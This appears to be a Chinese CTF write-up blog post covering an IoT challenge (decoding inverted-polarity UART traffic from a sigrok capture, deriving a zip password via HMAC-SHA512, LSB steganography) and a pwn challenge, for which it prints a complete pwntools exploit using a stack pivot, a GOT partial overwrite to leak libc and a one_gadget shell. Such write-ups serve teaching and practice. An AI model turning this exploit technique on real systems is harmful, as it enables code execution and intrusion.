这次复现的题目不只是pwn题,还有IoT题目。可能以后就是做IoT pwn的人吧
IoT
What’s In The Bits
拿到的文件是一个.sr
文件,去查了一下,是sigrok(一个逻辑分析软件)的数据文件,用sigrok的GUI应用PulseView打开后看到了某种协议的电位图。
如图可以看出应该有两条通信线路,同时没有时钟线,首先猜测是UART通信协议,设置协议解码后发现数据没有规律。
比赛时做到这里我就卡住了,开始考虑是否是其他什么奇奇怪怪的通信协议。。。最终没有做出来。。。
赛后确定了通信协议就是UART,仔细观察后发现常规UART在没有东西传输时应该是高电位,而这里是低电位,打开电位反转后得到了传输的数据。
可以在这里打开解码输出的dump窗口。
在解码后第三条信道的数据开头可以看到一个一句话和一个
PK
头的文件(ZIP压缩包的文件头),结尾还有一点提示。在第一条信道最后也有一点数据,但不知为什么,解码dump窗口不会显示,还好句子不长,直接看解码器的输出也没什么大问题。
至此,UART通信的内容解读完了。接下来就是把传输的压缩包dump出来,复现时看到做出来的战队是把解码数据导出再用脚本拼接起来(他们好像没有发现解码器的dump窗口,可以直接导出解码出来的二进制数据)。
导出后是一个带密码的压缩包,这题就变成了一道misc题。而压缩包密码的提示就在传输的数据中。
Hey, MiaoTony, this is a very importent file. You should keep it carefully.
Oh, maybe you can take a little glance. Do you remember the domain of our CTF team? Just use your ed25519 ssh public key to sign it with HAMC-SHA512 and you can open the file. By the way, the first part of the secret is ‘DASCTF{‘ + something you know.
You mean ‘feedca75’? Got it!
复现到这里还是缺了一个ssh的public key,看了其他队伍的wp后知道是在github。由此链接得到public key:https://github.com/MiaoTony.keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOEwQmg2Gcp3bBYyJ6NezkW1j1lhjNBW7LTG6wlTHAzk
然后在这个网站计算得到压缩包密码https://1024tools.com/hmac
52bb6ab1fac1fda6a2593718cdabb530071e82592d651a5a19a0ea670e8a810c184ab9e4378d847fbd35ba1adc521d940bc09d1d90ec1b4a3da6a9e1b21607a0
解压的时候发现unzip好像后密码长度限制,用7z解压得到一张图片,LSB得到另一张图片。
最后结合提示,拼接出完整flag。
DASCTF{feedca75-d82e-473b-af91-8c4744e41d0}
PWN
checkin
比赛期间pwn题只做了这题,虽然程序看着很简单,但是对于比赛期间的我自己来说利用起来意外的挺难的。。。
程序和漏洞分析
保护只开了NX,程序也很简单,漏洞也很明显,栈溢出,但溢出得不多,只够覆盖返回地址。
做题时还发现一个问题就是没有输出类的函数,没法直接泄漏libc。
漏洞利用
刚开始是尝试利用ret2resolve
来解,但是由于开了相关保护(Partial RELRO),无法修改.dynamic
段的值,无法实现解题。
后来在@nameless师傅的博客中看到了利用setvbuf和puts函数离得非常近,可以爆破出puts的地址,从而实现泄漏libc。
exp
from pwn import *
context.log_level = "debug"
# context.terminal = ["alacritty", "-e"]
context.terminal = ["tmux", "splitw", "-h"]
libc = ELF('./libc.so.6')
elf = ELF('./checkin')
bss = 0x404080 + 0xe00
leave_ret = 0x4011E2
read_plt = elf.plt['read']
read_got = elf.got['read']
setbuf_got = elf.got['setvbuf']
setbuf_plt = elf.plt['setvbuf']
pop_rdi_ret = 0x401253
pop_rsi_r15_ret = 0x401251
def exp():
p = process('./checkin')
payload = 0xa0 * b'a'
payload += p64(bss)
payload += p64(0x4011BF)
p.send(payload)
payload = p64(0)
payload += p64(pop_rsi_r15_ret)
payload += p64(setbuf_got)
payload += p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi_ret)
payload += p64(read_got)
payload += p64(setbuf_plt)
payload += p64(0x401156)
payload = payload.ljust(0xa0, b'a')
payload += p64(bss - 0xa0)
payload += p64(leave_ret)
p.send(payload)
p.send(b'\x50\x44')
read_addr = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
libc_base = read_addr - libc.sym['read']
pop_r15_ret = libc_base + 0x23b71
pop_r12_ret = libc_base + 0x2f739
onegadget = libc_base + 0xe3b2e
payload = 0xa0 * b'a'
payload += p64(bss + 0x100)
payload += p64(0x4011bf)
p.send(payload)
payload = p64(0)
payload += p64(pop_r15_ret)
payload += p64(0)
payload += p64(pop_r12_ret)
payload += p64(0)
payload += p64(onegadget)
payload = payload.ljust(0xa0, b'\x00')
payload += p64(bss + 0x100 - 0xa0)
payload += p64(leave_ret)
p.send(payload)
p.interactive()
while True:
try:
exp()
except:
continue